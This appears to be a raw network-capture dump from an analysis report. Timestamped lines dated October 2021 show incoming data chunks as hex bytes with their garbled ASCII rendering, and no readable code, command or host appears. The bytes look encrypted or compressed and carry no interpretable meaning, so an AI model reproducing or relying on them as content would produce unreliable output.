60 ce f1 35 a4 4a d1 2b b1 1e be 37 92 e6 5f 27 5f 50 4d ae c6 2f 25 8a d2 6c ec e6 e4 ed d6 56 ea e6 12 7b 19 9f Data Ascii: :;?rBK\D&Poa\|Iwb3_JU5<)i0N\|>:5DFCSbKOz(n G4_\|^^fPqgsw"nx]X_O&USO>`5J+7_'_PM/%lV{
2021-10-28 20:43:28 UTC	3087	IN	Data Raw: 18 dd e2 03 0f 93 d5 d4 d6 e7 98 70 22 86 9c 51 30 2c 92 04 ac 5d cd 74 ed 8a cd 88 8c 02 e0 a9 e2 9d 28 1c a1 e3 96 fb af 8a be 7d f8 62 70 1e 1d 88 ce 59 1d 7b 3f 00 dc dd bd 9e d9 52 36 e1 7a 59 20 92 f7 6e b6 91 60 f3 6b 17 5b a3 45 0f b5 7d 39 ca 2d f6 65 d2 2d c9 63 be 6f 07 6f 54 40 e8 c5 a2 fc c3 8b ee 67 9b 23 cb 29 1c 43 e6 2d d9 dc 30 f1 8a 2b 63 2b 57 36 97 a5 41 2c d7 8e 7c 83 3c ff cd 5f ad e9 f3 a9 c1 40 5c 89 28 bc 21 23 23 e8 14 b8 47 66 6c 8c 4b 27 a1 5f 19 e0 e5 26 00 ec 32 2f df 25 d7 2a ed c9 dc cf 4c 1a 39 bb 20 b3 7e 09 fd ac 01 dd f1 93 ee 9e 99 f8 e8 c2 34 30 5b 82 fd ff da 49 5b 93 ba d7 25 c4 88 52 58 30 fb 18 da 1a 1f 23 31 eb 51 d8 e7 cf bd ca 92 6f 08 2f 04 27 75 58 c0 7b 70 97 31 30 75 35 3e 74 48 7f de df f6 74 3c 29 8e 90 Data Ascii: p"Q0,]t(}bpY{?R6zY n`k[E}9-e-cooT@g#)C-0+c+W6A,\|<_@\(!##GflK'_&2/%*L9 ~40[I[%RX0#1Qo/'uX{p10u5>tHt<)
2021-10-28 20:43:28 UTC	3103	IN	Data Raw: 68 28 66 c2 a6 b4 17 f4 b6 65 be fd 7f e4 00 fb a2 eb 72 b6 4c 85 7c 42 94 82 82 fe 0b 41 7b dd c6 17 28 16 17 8b ea 29 99 f5 ac 34 6f 22 52 38 02 cd 86 9f c0 62 66 16 35 d3 78 ae 87 62 c0 24 0f f1 60 40 4a 68 0d 8b f7 89 e0 9b a6 fc 8f f7 2a 93 1f ba bb 27 53 db 8f 91 2b 62 45 ab 87 fe f9 e1 78 9f 7d 0f 02 42 bc 4a d0 fa 1a bd 56 29 c0 f9 d0 be b9 81 15 32 f3 c2 e5 82 15 6a d3 d0 f3 da 72 e7 83 18 92 d2 5d b6 9b 8a 5b 1d a5 26 d9 92 9e 99 7a 6a 84 a5 bf bc c7 d4 19 39 bc 6f c0 d4 3a cf 27 44 d2 9f 9c d0 6c 84 b1 96 dd c3 b3 f1 70 2e ef 3f b7 96 da c3 96 b8 2b 5a 80 6a 48 0c 04 7e 54 d3 b6 31 71 19 63 d4 c1 6b cc 64 2c ab 07 7e 2a f9 cc 9c 09 82 4d 8c 0d ab 37 4f 3e 3a 02 dc fd 36 a5 1c 63 4e b7 3a 44 1d d9 30 47 19 f2 39 41 12 53 56 5c 44 ed 6b 7a a7 cf Data Ascii: h(ferL\|BA{()4o"R8bf5xb$`@Jh'S+bEx}BJV)2jr][&zj9o:'Dlp.?+ZjH~T1qckd,~M7O>:6cN:D0G9ASV\Dkz
2021-10-28 20:43:28 UTC	3119	IN	Data Raw: 20 bc 39 f8 e7 ee 6a f1 9b 59 bc 05 22 d0 b8 68 46 4c 23 b0 98 e5 bc ea a4 be 39 44 29 f0 2c b2 7d 05 49 8a f3 16 4b f1 65 46 11 ce 65 61 0e 60 ad 4b cd ba bc a5 78 d9 b2 67 bd 73 2a 5c 95 44 64 8c 26 7e 54 93 3c d9 95 59 6a 33 fc 1e 92 83 1d 7c fd d4 91 42 8e 1c 4f fe 5c d8 c6 37 4a 12 af ba ef 19 da aa dc ea f3 f1 c6 9b 5a 4e 82 14 b3 91 94 55 a0 80 23 a9 b7 1e 5c fa f5 c0 fb 34 f0 79 52 d5 bb 36 a5 e9 9d 13 91 a3 3d 74 a1 43 0f f2 3a 8b f3 7f 14 48 4e 74 cf 95 04 8e a2 55 45 5b 11 d6 a1 25 81 ef 01 20 e4 9b 4b 11 48 31 4a 6f b2 59 f8 94 a8 94 1e 18 1a da 29 1b a0 06 09 f8 c8 e8 ca 07 8d 6b 21 7c 36 da c7 90 24 93 68 7b 2b 63 68 cd 6c 16 03 19 4d 2a 57 4d b4 ca 84 53 55 6b 94 a0 a2 bb a5 c2 cb 9f c7 5c 8d 80 ac 0c 9d ca eb e6 c2 b5 8f a1 59 65 3e 14 9f Data Ascii: 9jY"hFL#9D),}IKeFea`Kxgs\Dd&~T<Yj3\|BO\7JZNU#\4yR6=tC:HNtUE[% KH1JoY)k!\|6$h{+chlMWMSUk\Ye>
2021-10-28 20:43:28 UTC	3135	IN	Data Raw: 40 e4 5f 57 c8 0d 3c 77 19 a6 95 ec c3 22 85 c8 b9 19 37 2c 12 8c 17 65 88 aa 26 d9 c6 bc c8 b8 d9 e0 23 6d a5 5e 1d a0 83 e0 c3 ab ee 92 28 d1 9f 91 31 fd 0d 93 da 58 4e 97 4d 4e 8f ab 59 11 34 4a c3 41 8e 5d 92 55 04 48 54 49 a9 07 c5 2e 15 4b 40 28 aa d4 e1 34 16 05 72 95 f0 c4 45 97 5e b7 c0 f1 d7 8e 69 5e 9d 76 56 2f b7 f8 3e 2d b2 53 54 ff e2 fd 5e 01 7e 5f 2c b7 63 2f 0b 66 2e b7 b5 c6 48 27 58 7f 2b 5b ae 3b 6f db f6 ce d9 df b0 f4 c9 07 53 ec 56 28 c1 e3 41 27 e4 60 a1 57 52 0f 8e 42 2d 2b bd 77 2d 5c a7 13 d2 34 30 cf 7a 18 f6 56 68 9b 75 58 e0 87 a9 e7 bc 84 ef 63 b8 f7 50 cb 84 5d 6a cf 30 b8 85 77 87 24 65 14 0f b9 1c 2c 97 b4 47 ae 19 f5 04 09 66 da ff 5d c5 a6 e4 54 2a f5 89 9e 0b 0d 50 ca a1 ff 4c 50 80 43 1c d8 ab b6 51 5f b0 94 fb cb b3 Data Ascii: @_W<w"7,e&#m^(1XNMNY4JA]UHTI.K@(4rE^i^vV/>-ST^~_,c/f.H'X+[;oSV(A'`WRB-+w-\40zVhuXcP]j0w$e,Gf]T*PLPCQ_
2021-10-28 20:43:28 UTC	3151	IN	Data Raw: a8 cc cc 9b 64 ed a8 bb 93 b1 75 bd 0b 37 f7 24 68 5a 36 ed a5 6f 7f 6a 33 c9 b6 fc b2 f2 dd 28 cf b0 47 35 4e ae a3 41 49 60 70 cb 6f de 17 2e 31 aa 30 1f 91 c7 8a 87 5e 29 54 2b 09 5a 3a fe cc 2c de 7f 24 fd df 74 67 c9 a3 68 2b bb 95 24 e5 ed ee 04 4b e2 80 b9 7f b2 93 5e 35 cf 72 ad f4 ad 72 12 b6 6d 84 7d 7f e9 63 43 26 35 9c b8 41 ea e6 77 d2 e7 ca af ae 95 1a c7 08 18 e6 fc 92 43 c0 c9 76 cc 03 54 9a af 78 00 a2 64 67 46 11 a3 a7 8d fb c5 9d 4c a7 d1 b2 77 28 f0 2e 47 cc 0a 97 9d 70 cc f8 ef e6 39 e2 2c 4e 0b 32 2c 2a 76 39 1a c0 b9 b4 ef 82 2f 7c cd 10 0e ca 39 71 9b b9 98 84 c8 88 c4 c2 6e 73 4f a1 2f 8b f6 fe f7 85 a7 fb 2f 67 82 d5 a6 d1 5f 74 86 5d 10 3d ec 7a 67 f0 07 6c 75 e9 d5 27 70 d7 82 1c a6 a3 f4 e2 b9 d1 0e 3e c7 2d dc c8 74 b3 4c 3d Data Ascii: du7$hZ6oj3(G5NAI`po.10^)T+Z:,$tgh+$K^5rrm}cC&5AwCvTxdgFLw(.Gp9,N2,*v9/\|9qnsO//g_t]=zglu'p>-tL=
2021-10-28 20:43:28 UTC	3155	IN	Data Raw: c5 c5 72 2a 5c ca cd 54 ea 47 2c b1 57 dd 5f 17 64 fa bc 84 e2 fe 2d 11 64 16 6a ff 00 d6 ec 8e 88 3e d3 c8 f5 e0 3c 3a e5 fe 9f 64 3d 00 a3 28 74 eb ff b1 a0 7b fa 2b 83 81 6a ff ef 47 7e 95 8a 47 db 16 31 90 6e 82 87 8a 7b 60 62 6d 13 e3 72 78 d6 c5 b0 00 63 92 33 ff f0 97 a3 3b e1 f2 7c 22 3a 27 32 dd 5d 2e ae 8c c3 b8 8d 24 27 65 64 4e 7f 82 b4 04 40 9b 0a 36 1d 49 6a 24 04 47 69 91 6b f1 a1 0d 61 2c 4e db a4 a4 b7 0a cf 4e 98 13 3f 60 ea de d4 b6 46 a9 0f 2e 9b 5a f8 7a 49 bf 60 1e ed 85 62 66 d1 3b 5e c5 29 17 19 13 3f 72 20 b9 f1 a3 5c 70 7f a4 15 33 6c cf 95 d2 4b 3a d2 2a 83 95 8a 1d 23 51 94 e2 13 92 31 2b f2 9b 2d 6a 66 b2 e0 2d 2e 11 65 ae 34 d4 44 f6 8e ed ba d7 fb 11 3d f2 be c8 09 7d 5a 14 18 0d 8e 63 4f 6c 76 1f a2 55 ff 1a 32 f2 ff 41 7e Data Ascii: r\TG,W_d-dj><:d=(t{+jG~G1n{`bmrxc3;\|":'2].$'edN@6Ij$Gika,NN?`F.ZzI`bf;^)?r \p3lK:#Q1+-jf-.e4D=}ZcOlvU2A~
2021-10-28 20:43:28 UTC	3171	IN	Data Raw: d6 01 a1 9e 5f 6b 79 99 c5 fb a6 ac 93 9d 9f a7 58 d2 f7 3a 08 77 3e 72 06 78 e0 1d 55 4b 54 a4 d6 99 97 79 81 1e 10 a2 17 e7 cf bd 16 eb 2e 46 6b 8a d5 93 b1 ce 72 ec 59 ba a3 02 cf b3 a8 3c 1f 96 2f 4a e7 bb 95 4a 5f 40 ac 47 cb 4b c0 f0 92 10 af 1a b8 73 be 49 38 72 8e 12 ed 50 10 fa ad fa 7f bd af 44 de cf 6e dd 01 b1 50 60 d8 65 73 02 bb 03 89 17 a1 da ee 4c db bd 5e 42 7c ac c8 85 2f 00 b9 d1 44 76 c8 8b 28 4f 92 45 59 5e 5d 53 bb 85 2b 84 3b c6 9b 35 2a ed da db db 74 90 0d 6c be 5f 6b 82 9b 6f 36 3d 07 4d 8f 9c c2 78 1c 76 98 73 74 2c d6 82 de ca 2d 74 f9 3b cd 0a f3 fd 8f a9 b1 84 5e 6d 03 8d b2 03 bd 99 d4 8f e8 83 db 81 0e 6a dc 41 29 0b 64 29 23 6e 92 29 f0 ce 5d 93 58 6d b3 d1 e3 82 ad c1 68 ca c0 3f 21 20 bd 01 18 bf e1 12 b5 c4 21 3f 4a 62 Data Ascii: _kyX:w>rxUKTy.FkrY</JJ_@GKsI8rPDnP`esL^B\|/Dv(OEY^]S+;5*tl_ko6=Mxvst,-t;^mjA)d)#n)]Xmh?! !?Jb
2021-10-28 20:43:28 UTC	3187	IN	Data Raw: 96 6d b1 48 72 e4 9d a0 db 87 10 4f 13 a0 d9 a5 6a 8e ee 10 87 0a 71 9c a9 b2 21 0f 17 4b 2d da 99 13 88 d1 cd 64 d9 5d b7 3a f0 dc f1 bd 51 60 3e 4f 0d 68 3f a2 10 ca 1b df 56 8d 43 2f f8 04 2c d8 6b e5 76 aa c3 af 3c 3c a7 8c ed eb ac 8c 55 a5 67 42 77 bb 03 02 93 33 55 ca 7d 83 6d dd 5a fc c9 19 e0 7a 20 ae dd a0 d6 dc 72 84 06 f4 95 16 8e 4b 11 4a 73 5a 1a 29 d7 a9 fb cf 20 4a aa 3f 25 ba 7b 4d 6f 3f 72 eb 2d c1 e5 a0 2a 9f 35 c0 0a 13 13 48 c3 8a e1 e8 a3 62 9b 35 16 ed 22 1f 19 ce 4c 60 23 1f 08 d7 8d 15 f5 28 5b f1 c6 45 f7 73 a1 1d f2 91 d4 98 60 c0 37 55 2b 6f 74 7d e3 9e d3 f7 a3 11 a8 c7 42 d7 ee 6f bd f7 03 91 28 e6 a0 ce ca d4 2e fa c0 ff b4 1c b3 d6 10 29 29 15 93 7d 78 9a 71 1f a8 e6 88 19 bf dc a7 ab 40 72 fb 04 f1 e9 51 0a bf 72 12 5b f9 Data Ascii: mHrOjq!K-d]:Q`>Oh?VC/,kv<<UgBw3U}mZz rKJsZ) J?%{Mo?r-*5Hb5"L`#([Es`7U+ot}Bo(.))}xq@rQr[
2021-10-28 20:43:28 UTC	3203	IN	Data Raw: 80 ae ce 17 30 9a 95 81 5d 81 12 a0 47 95 eb a0 18 cc 65 51 54 ca 35 84 9b 37 d9 b4 22 6a 14 89 d2 57 6f 1d b1 56 e5 9e 94 e2 09 f5 f2 d6 4b 11 f4 51 9f f6 a4 4d 5e 44 6c ed 4a b5 84 3a 13 53 5e 0d 4a c7 0a fa 97 38 fc 7e ef f1 7e a3 b6 c6 ee 0b b2 1c ab ba 3c ae 77 a9 e2 fe dc 45 d7 e7 27 1c dd f3 8b 9a 25 e9 18 75 11 25 4d 1d 22 9b bf cf 3e 1d b4 2a ef 49 44 9f 67 a9 ae a3 a4 e4 5f e6 b4 fa f4 a7 3d 66 b1 66 d3 06 73 44 d9 5b 2d ab a2 b4 b7 62 b3 66 b4 86 a8 ec 1f f4 38 f7 f9 d8 67 eb ff 66 b5 6d 23 a4 39 48 12 18 7a 88 5d a2 c2 50 e7 73 d7 0d 57 a6 d2 4d cb f3 f8 04 2e 31 ad 9b 2a 63 69 54 c3 d3 8d 4f 80 70 84 de 64 58 96 63 73 70 e0 0a d4 c7 bf 51 ec 52 46 be ea 5e f5 7b 91 f8 b2 c0 28 8e 69 a1 81 c4 8f d1 5c 8f 91 59 52 1e 8d 37 3b 49 cb 65 de de 9e Data Ascii: 0]GeQT57"jWoVKQM^DlJ:S^J8~~<wE'%u%M">IDg_=ffsD[-bf8gfm#9Hz]PsWM.1ciTOpdXcspQRF^{(i\YR7;Ie
2021-10-28 20:43:28 UTC	3219	IN	Data Raw: 16 b7 41 b9 3c 0b 0b 2b dc 19 be d2 79 27 75 59 7f 0b ed 5c 7f ca f8 7e a0 ac 52 aa 30 ca 3e d5 69 4f 01 5d 35 74 4d 0c e5 d4 98 99 f0 3d 84 55 66 e1 9e d3 05 7c b3 21 95 bc 28 25 42 2f ed 91 df e9 88 be 3c 44 a9 c2 5a 9c ee ff 6d 5c 37 bf 4c 45 a4 5b e2 d1 46 1d e4 ee 43 45 74 41 41 75 7f 93 5b b6 e3 a0 51 4e be 2b 5f 12 46 c2 12 54 94 1b 7e d3 ba b6 c6 36 79 93 7d f1 5e 2d 16 06 fb 27 d7 03 35 86 36 65 67 6b 3b 0e c1 dc d0 47 46 f0 e2 7e 94 0f 9e 46 d4 4b bb bd d4 dd bc 48 ba 58 94 ea 19 c6 e6 82 17 cc bb 13 2a 39 06 b2 8c 10 44 37 42 03 42 c6 64 9d e3 25 5d f5 f0 51 7b 5a 74 e7 b1 2d 38 18 af e2 74 a5 f5 65 29 33 24 a4 ee b8 95 2f b0 e5 24 7d 54 76 24 56 fa 10 6b a5 64 72 ed 34 ca e6 e1 00 21 64 5f ed 07 c5 84 a5 3f b8 bf 8c 58 b2 9f 0f a5 70 61 98 84 Data Ascii: A<+y'uY\~R0>iO]5tM=Uf\|!(%B/<DZm\7LE[FCEtAAu[QN+_FT~6y}^-'56egk;GF~FKHX*9D7BBd%]Q{Zt-8te)3$/$}Tv$Vkdr4!d_?Xpa
2021-10-28 20:43:28 UTC	3235	IN	Data Raw: db 87 b7 0e 40 75 28 eb c7 4e a2 73 0f ce 5f 88 29 93 80 cf d7 9e 35 44 cb 24 e4 ab 6b 43 1d a0 c0 e6 e6 88 ea 5e aa 00 f0 b4 a6 19 22 9b 10 fd a5 55 ea 7e 66 63 43 16 47 f3 3b 26 aa 26 c9 85 8d 64 a6 4a 48 a9 ec c3 e0 50 22 1c ec 2c a8 9e 6e 04 fc 9f cb 33 df 0d b4 d4 22 31 94 e0 65 11 07 f7 49 8c f4 9c 0c ec db c5 5a 82 4d 85 c0 84 81 d5 b5 8f 3d f3 93 92 e5 b5 4f 84 e9 d2 f1 7d 3d 6c b2 5c 5d 59 d1 89 08 70 b1 26 bf 7f 42 02 04 60 5b d1 d3 18 75 e7 d0 af a8 69 70 2b 3a e5 68 0b 63 95 2e 65 f9 50 84 34 52 b2 84 5c 38 b7 1b 31 cf 9d 09 3e e0 34 85 f1 08 0b 60 31 87 0d 36 ab 4e dc 8d a5 8b 72 f3 08 a5 93 26 e6 31 2a 2d 59 24 3c 50 9c b0 77 66 80 5f 6a d7 6c a4 e9 4c e9 aa 89 ed 98 1d 9e 57 66 32 0e f4 fe e4 58 ba b1 b0 98 fa 78 62 45 b8 24 c5 b0 7c 89 b2 Data Ascii: @u(Ns_)5D$kC^"U~fcCG;&&dJHP",n3"1eIZM=O}=l\]Yp&B`[uip+:hc.eP4R\81>4`16Nr&1*-Y$<Pwf_jlLWf2XxbE$\|
2021-10-28 20:43:28 UTC	3251	IN	Data Raw: 47 ff 0a 97 c9 2d 25 8d 75 92 11 79 17 b2 88 d1 87 17 99 ed 18 8e 82 8f b5 a7 3a 3f ba 53 cd e4 13 3b b5 40 15 c5 20 79 c6 20 af 3b 89 c5 31 be 54 2d f1 4e 6f 83 fe 4f 08 5c 32 b1 04 ea 6c bb ff 12 ca 7b f7 32 93 2b 49 80 e7 89 d6 a0 ed 8f 54 ce ee 98 85 a3 fa 1f b9 53 73 19 ce 41 7e ce 04 d7 cf 8c a0 c9 2e 20 dd c0 8d 6d 1d 73 e7 29 3b 17 b7 ee c3 06 6c 57 1c 3b a3 f8 47 e9 e7 e9 c1 eb dc 9a d2 ab 13 ef b6 d6 c8 56 ff 95 6c 59 32 b2 7a c0 f1 23 c7 0a 83 f0 c0 6b 7d 86 67 7c 6e 2a bb 35 67 7d 65 70 1e 1e ae 98 51 89 d8 20 aa 2a 72 fc a0 57 f2 6b 7f 8b ec a5 7e 2f fc e8 d0 0a 32 45 2d 3f 3b 8b 3f 06 9d 59 ce 3a b4 1d 05 e7 2c 44 3e a1 3d f2 53 e8 4e 94 5e 77 75 6c 36 4f d1 7c f4 b9 12 59 cd 10 a7 1e b7 88 1e f4 2c 29 4d cd a9 ed bf 9e c9 2e de 8d 98 db 4c Data Ascii: G-%uy:?S;@ y ;1T-NoO\2l{2+ITSsA~. ms);lW;GVlY2z#k}g\|n5g}epQ rWk~/2E-?;?Y:,D>=SN^wul6O\|Y,)M.L
2021-10-28 20:43:28 UTC	3267	IN	Data Raw: 58 00 f0 20 89 1f 72 7d b3 4d a8 21 4d 71 e3 75 da e2 f0 59 e6 15 68 62 aa 51 e2 88 97 fc 57 f9 3b 50 c0 f8 58 63 50 52 43 41 ab 61 f8 de 78 0c 91 03 b7 16 37 ca 55 fc 60 9c 83 15 c8 a6 0c 46 08 82 2c 0e a7 b2 c9 3f b3 05 c1 47 6c c6 0f 8c 3f cb 42 67 0a 41 83 56 2d c7 4e a4 62 90 82 7d ce c4 de 88 1a 58 36 80 23 35 65 55 0e 39 53 d0 e5 a4 de ac 36 cb b3 9c ca 85 c6 37 fe e2 1a 73 c8 32 16 d4 fd 1f 64 c9 e6 d9 09 7a 69 7a 46 70 b4 da 56 32 ae 87 76 c7 e7 ba c1 42 27 6a c5 8f 9c 7d 74 cd bc af b7 c0 27 3c 3d c5 de 5d 16 e0 b9 7f f8 53 b2 9f c2 b8 0d 92 58 63 25 74 5f 5d 89 83 e6 5c 63 54 34 68 49 0c d9 ab a8 14 97 a7 33 40 db 46 37 17 fc ef 7c e4 3f b9 4f 19 87 43 a8 18 3f fe 30 56 4d 9f 41 81 7d 2c 59 4d 1a 4b 83 b7 ca 20 0e ef 1f 49 bc b4 d6 28 e6 a4 a6 Data Ascii: X r}M!MquYhbQW;PXcPRCAax7U`F,?Gl?BgAV-Nb}X6#5eU9S67s2dzizFpV2vB'j}t'<=]SXc%t_]\cT4hI3@F7\|?OC?0VMA},YMK I(
2021-10-28 20:43:28 UTC	3283	IN	Data Raw: fd af ec c3 67 3a 0d 92 74 28 03 55 78 ce d0 37 b8 e3 06 e3 fa 8c da 82 f0 e3 b2 ce bc 02 07 be 55 67 37 1e 6b 1c dc 4e 59 d9 cb d5 3e 63 ac aa 03 ce c1 fe 1b 71 d3 87 9f 00 0c 8d 14 ef ab 42 00 91 ac 88 d6 cb 2c 29 c5 65 b5 df 25 db 16 ee dd 5f 35 29 c2 e0 e8 79 d8 1f e6 07 82 d6 18 81 cb a6 6e 9d 35 cc f9 0a c5 bc 1c 32 a6 e1 9e 48 71 2b fe b4 f4 8e ee c2 6e c6 21 96 87 5f b3 7a b3 54 c6 99 b6 b9 df e3 ae db 3c 13 02 b9 ba 66 82 2d 4c 27 23 0f a6 93 90 49 76 dd f7 93 25 a4 f1 4a 92 83 3f d0 31 a2 e5 3c 45 da e8 51 4a b2 00 89 ee 15 ad 40 d6 97 c2 d7 12 b9 2b 7f 6a 92 af 9a 81 c0 f2 68 8f 48 7c 1c c5 53 7e 1f 44 8f 51 d9 51 41 db 75 98 d3 c8 d6 b3 9a ce 98 23 73 16 c0 1d b8 42 c1 91 88 c4 3e f5 9c 58 f5 47 b1 81 d8 d3 ca eb 22 25 e9 f6 4c a0 03 fb 49 37 Data Ascii: g:t(Ux7Ug7kNY>cqB,)e%_5)yn52Hq+n!_zT<f-L'#Iv%J?1<EQJ@+jhH\|S~DQQAu#sB>XG"%LI7
2021-10-28 20:43:28 UTC	3299	IN	Data Raw: d8 33 b6 2f 3d b4 49 b8 52 10 ba fb 89 97 61 0c e1 a7 48 fc 0a a2 7a 66 58 18 2d 9d 21 9b f2 a6 2b 97 6e 7a 52 a8 e0 a3 74 c9 c5 4e 29 46 47 9e 7b 77 78 be 51 3c bb 28 cb ab 21 b1 dd f3 79 3b 8f 91 70 22 a6 a9 dc b6 47 9e 16 25 5a ce 08 23 94 bb a7 62 cd 08 a9 35 f0 36 7f ef 27 b3 c8 0b ef dc 58 55 f2 95 e2 4c 2f ea 8c 18 22 10 35 3a 34 49 8e 51 38 93 ba b5 1f dd 61 6c 60 33 be 55 6b 5a a4 41 3a d7 6a b6 ff 66 c0 a5 62 6c 64 0f 9e df c8 51 ce 4d 76 cf a5 a0 1a a8 3c 5a 57 79 c8 5a 5b d4 b0 46 88 bc db 58 b3 a7 08 dd 5f 0c 6a 95 90 fc 03 d6 bf d9 7f db df 99 92 13 9b 27 59 1d 5c d0 a7 73 3c 28 9f 7f e3 43 f5 ff 13 3f b0 60 5d 9e c2 7c 56 5a 24 2d c0 8c a0 3f 0c 66 75 2d 0b c7 90 13 2c 69 ca 61 6b 16 cf e8 38 3e d7 e1 6a 86 8e 60 b5 32 a2 59 37 ac 50 bc 84 Data Ascii: 3/=IRaHzfX-!+nzRtN)FG{wxQ<(!y;p"G%Z#b56'XUL/"5:4IQ8al`3UkZA:jfbldQMv<ZWyZ[FX_j'Y\s<(C?`]\|VZ$-?fu-,iak8>j`2Y7P
2021-10-28 20:43:28 UTC	3315	IN	Data Raw: da 43 de 3e 00 f6 96 78 4b 92 e8 66 fe 8f 9e 3c d8 fe 05 0c eb be 6e 8e d9 78 ac 6c 14 3a b8 7a 1f 6e 4d 12 f3 1b 3e f2 f9 57 d5 48 94 4c 7c ac 55 f9 5a d8 e5 1c 91 f3 66 ee 90 2f 97 86 ad a8 67 0a 67 ab b9 9f e5 c6 5a 18 05 ad 64 79 b6 41 07 cf a0 cd be 1e f3 68 ff 1a ec a9 0b a8 6e bb 9b 32 c5 25 de 88 24 aa 66 ca 6c db 1c 75 62 89 e5 dd fb 51 69 f7 95 f6 10 6a 0d c8 9d 37 df 32 f8 1b 4f 02 96 03 f1 35 d0 39 2c b4 79 1a 02 32 5c ff aa 4e c4 25 a3 ba c9 66 b6 c5 98 ad cc 92 4d 28 bc c0 42 8a 6f 3f 10 4e 90 cd 77 e2 a9 73 d5 80 54 13 7d 22 08 e4 2d 96 2d ff 04 28 01 f1 55 65 06 c1 e7 9e 87 77 4c 2e 54 2e ce 62 51 78 f9 6d 37 d0 41 6f fd fb 40 ee c6 b9 b3 8e 63 ab 7a 4b df ef 1a 0e 5a c0 66 d2 23 5c fd fd 92 37 41 8d db 27 c5 43 12 df 24 33 70 73 01 8b b6 Data Ascii: C>xKf<nxl:znM>WHL\|UZf/ggZdyAhn2%$flubQij72O59,y2\N%fM(Bo?NwsT}"--(UewL.T.bQxm7Ao@czKZf#\7A'C$3ps
2021-10-28 20:43:28 UTC	3331	IN	Data Raw: e8 5d 27 9f e9 2c a9 a3 11 89 1d 96 1d c6 61 36 f4 bd 14 db e6 1c f9 09 69 d7 3b 22 63 a8 1d 21 bd 71 ad ff b5 4a d1 eb 90 ee ec f9 79 08 ad 57 b0 13 01 01 54 11 65 13 b7 69 54 0e 3c 05 51 76 a7 a2 74 93 e6 63 e6 3a c0 65 62 90 41 9b 94 7a 74 10 6b 5d e3 73 93 66 c2 58 78 57 4c d9 ad 8f 74 b7 e7 b8 6c c5 70 91 fb 1a 86 e2 d9 14 1b 20 cf 9c 81 6f d5 0d c3 fc 77 84 97 b7 2c 6a 42 cc c1 09 86 ae 3c 0f c9 73 ff d5 a3 18 47 09 1a 79 54 1a 84 b5 70 3b 96 55 ea 32 62 34 f8 6c e9 59 c3 5c 6e d0 65 15 35 94 6f b7 d2 7d e7 dc 5a c0 b0 f7 f9 8d 6d 92 4e 33 6d 0a 36 20 f8 6c 2e 06 a0 65 47 19 2a ec 03 f4 7d 05 03 01 ed a3 29 c9 e0 a9 a1 11 ca 93 45 ed 85 a5 2d cb d0 fd bb e6 02 af a5 1c ff 7a a5 80 fc a2 4f 3a 63 3d 3d 2b d1 69 d6 9c 5f 78 a5 8d fc db c5 61 d8 e6 86 Data Ascii: ]',a6i;"c!qJyWTeiT<Qvtc:ebAztk]sfXxWLtlp ow,jB<sGyTp;U2b4lY\ne5o}ZmN3m6 l.eG*})E-zO:c==+i_xa
2021-10-28 20:43:28 UTC	3347	IN	Data Raw: da f7 47 42 3c 2e 44 67 83 03 e5 86 96 e3 2f 54 b7 b9 bd dd 15 80 40 b6 03 65 b4 b1 47 4c e5 81 d3 dd b4 79 31 4d b0 5f df 90 3d e5 f0 b4 64 e4 6b e8 81 7d 91 ad 42 5b 66 87 20 e9 dd 10 5c 6d 0d b6 d9 4f 4e 40 fd e0 bd e7 15 65 cb 8c c4 8a d9 20 d3 35 0c b3 fb 35 2d 88 09 a3 ca 0e 25 80 3b a2 da f3 a9 e8 be 1e 53 7e 9a a9 c1 91 46 a4 4d bb 40 26 35 6d ba 16 20 b7 af 06 19 ae 7f b4 70 33 9e 62 f3 94 ff 3d 04 65 c0 93 60 dd 2a ee 2e 54 5d e6 fd 68 5a 25 37 d6 88 7e 0d bc 32 f8 3f 38 8b d0 54 8f ff 82 aa e1 83 6c 3d 59 61 28 e0 de 89 bb 5a 80 8a fd 88 b1 d2 be 8d aa 80 db 1f 58 40 fe cd b8 b7 6d 97 25 ca 09 d5 17 52 60 70 04 81 b4 1b e4 bd 93 89 32 14 e5 37 3c 84 90 2f 14 b2 3b 70 a8 64 31 3c d3 3e 8f f0 f7 59 9a f7 e0 cd 69 84 e5 48 c3 1e a3 29 26 22 73 6b Data Ascii: GB<.Dg/T@eGLy1M_=dk}B[f \mON@e 55-%;S~FM@&5m p3b=e`*.T]hZ%7~2?8Tl=Ya(ZX@m%R`p27</;pd1<>YiH)&"sk
2021-10-28 20:43:28 UTC	3363	IN	Data Raw: 95 50 cc 1a 79 51 ba b0 d3 14 7b 4c 4a fb 9d ec b7 d9 67 21 48 40 53 ea b5 77 dd d3 82 ba 23 a4 b3 5d 52 b0 8d 32 50 8a 0a 96 dd d4 e5 1b 14 7a 91 8f 10 e8 7f 90 5b 1e 9e 3e 36 26 8e f3 fa bd e9 54 8f 78 6c 65 55 ea c9 17 30 aa ee 54 aa b8 f5 27 32 73 41 fd 46 5a ac c5 f9 29 76 0d 21 1e dd a2 2d 65 7f ba 02 e3 23 96 9f 12 fe 68 97 a4 8d 97 d7 e4 c7 e4 2e 8e 58 99 0e 72 8c 3b 8e 07 a7 f2 61 b6 ad 84 10 28 c9 67 f8 cc 27 d4 23 3a 51 68 5a 5f a5 da 13 be e5 d5 48 c2 00 1e dc 73 ff ca e8 89 c0 f1 9b 00 be 3a 1a 58 2f 0d bd 1d 59 ae 95 02 73 bc d6 99 5a c1 e1 ab a5 63 62 11 e0 f2 b0 8d 06 94 48 8a 1d 70 a2 18 60 f6 46 6f 4b bb 15 b5 b6 02 cf d0 d1 f5 23 57 3d 07 a8 94 33 f5 83 75 0c fc 69 1b f1 5a 8a 7a b7 ca 70 4a 78 f6 1b 2c 6e b9 ba d7 5b eb 9c e9 95 d3 56 Data Ascii: PyQ{LJg!H@Sw#]R2Pz[>6&TxleU0T'2sAFZ)v!-e#h.Xr;a(g'#:QhZ_Hs:X/YsZcbHp`FoK#W=3uiZzpJx,n[V
